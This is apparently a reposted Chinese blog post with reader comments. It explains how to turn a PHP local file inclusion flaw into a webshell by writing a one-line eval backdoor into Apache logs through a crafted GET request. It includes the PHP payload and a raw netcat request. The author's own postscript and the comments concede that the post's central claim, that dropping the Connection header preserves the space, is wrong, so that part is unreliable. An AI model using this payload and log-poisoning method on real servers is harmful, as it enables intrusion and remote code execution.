邪恶的空格-PHP本地文件包含漏洞的新突破口

来源:茄子乱语

PS:文章说的出错鸟,事后剑心提醒我才发现,有忽悠人的嫌疑,Connection HTTP标头和能不能写入空格无关!!

记得Zizzy写过一篇《关于php包含Apache日志的随想》,这是一个很好的思路,我们可以随意构造

http://www.exp.com/index<?/**/eval($_POST[cmd]);/**/?>.php

这样的GET请求,将一句话木马写入web日志,然后利用文件包含漏洞包含日志得到WEBSHELL,如milw0rm上的这个EXP:

http://www.milw0rm.com/exploits/4029

不过很遗憾,这类情况只能在short_open_tag=on的情况下才能有效,当short_open_tag=off时,PHP将不支持<?/**/eval($_POST[cmd]);/**/?>这样的短语句.

所以我们只能使用<?php eval($_POST[cmd]);?>这样标准语法的一句话木马,但是问题来鸟,语句中有一个空格,类似

http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

这样的提交,WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

哈,上面说的牛牛可以略过,下面开始切入正题,我们知道一般情况下,一旦Web服务器向浏览器发送了请求数据,肯定会返回响应,这里我发现了WEB服务器一个奇怪的特性,就是如果没有返回响应而WEB服务器又接受了请求,那么请求的内容将原封不动的写入WEB日志,不会进行HTTP编码.

这样我们想个办法一直与WEB服务器保持TCP连接,不让WEB服务器处理响应返回,然后再由客户端的我们中断这次TCP连接,说得这么复杂其实很容易实现.只要在HTTP请求的数据包中去掉Connection HTTP标头值。

利用NC伪造没有Connection HTTP标头的请求包:

GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44

你会发现WEB服务器一直不会返回响应,直到我们客户端断开这次连接,这个邪恶的空格便写入了WEB日志!

相关日志

楼被抢了 5 层了... 抢座Rss 2.0或者 Trackback

  • calms

    其实老大能发现这样的办法是很有才,但是我发现直接使用ie6提交请求,空格就会直接写入日志。。空格变20%是浏览器的问题,apache服务器并不会转义。。。

    • 为我

      是这样。浏览器转码,直接bp改包就能绕过。

发表评论